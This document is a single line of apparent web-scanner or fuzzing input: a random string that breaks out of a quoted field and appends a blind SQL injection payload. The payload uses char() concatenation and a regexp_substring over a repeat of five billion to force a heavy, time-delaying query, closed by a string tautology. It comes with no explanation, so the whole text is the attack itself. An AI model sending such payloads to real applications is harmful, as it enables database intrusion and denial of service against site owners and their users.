cjhvna84zdjhc5c78j6opoxshwosbuv7exiufpnmoyjd4vob1' and char ( 120 ) ||char ( 106 ) ||char ( 117 ) ||char ( 85 )  = regexp_substring ( repeat ( right ( char ( 9981 ) ,0 ) ,5000000000 ) ,null )  and 'egye' = 'egye